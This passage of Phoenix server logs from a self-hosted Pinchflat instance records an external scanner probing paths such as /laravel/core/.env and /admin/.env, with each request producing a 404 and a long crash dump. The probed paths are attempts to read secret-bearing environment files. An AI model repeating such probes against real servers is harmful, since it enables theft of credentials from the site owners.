s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.596 [debug] QUERY OK source="settings" db=0.2ms idle=158.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.597 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.597 [error] #PID<0.3192.0> running PinchflatWeb.Endpoint (connection #PID<0.3191.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /laravel/core/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3191.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/core/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49488}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3192.0>, params: %{}, path_info: ["laravel", "core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/laravel/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-emM4Bf71p0AAN8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3191.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/core/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49488}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3191.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/core/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49488}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3192.0>, params: %{}, path_info: ["laravel", "core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, { (truncated) 21:08:39.692 [info] GET /payment/.env 21:08:39.693 [debug] QUERY OK source="settings" db=0.4ms idle=254.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.694 [debug] QUERY OK source="settings" db=0.3ms idle=248.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.694 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.694 [error] #PID<0.3194.0> running PinchflatWeb.Endpoint (connection #PID<0.3193.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /payment/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3193.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49494}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3194.0>, params: %{}, path_info: ["payment", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/payment/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-e9VyU7rX0sAAN-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3193.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49494}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3193.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49494}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3194.0>, params: %{}, path_info: ["payment", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {" (truncated) 21:08:39.712 [info] GET /admin/.env 21:08:39.713 [debug] QUERY OK source="settings" db=0.2ms idle=266.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.714 [debug] QUERY OK source="settings" db=0.2ms idle=117.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.714 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.714 [error] #PID<0.3196.0> running PinchflatWeb.Endpoint (connection #PID<0.3195.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /admin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3195.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49500}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3196.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-fCFpCTHjmYAAOAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3195.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49500}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3195.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49500}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3196.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto" (truncated) 21:08:39.765 [info] GET /core/.env 21:08:39.766 [debug] QUERY OK source="settings" db=0.3ms idle=168.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.766 [debug] QUERY OK source="settings" db=0.2ms idle=72.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.766 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.767 [error] #PID<0.3198.0> running PinchflatWeb.Endpoint (connection #PID<0.3197.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /core/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3197.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49508}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3198.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-fOrTjqgQ9UAAGuC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3197.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49508}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3197.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49508}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3198.0>, 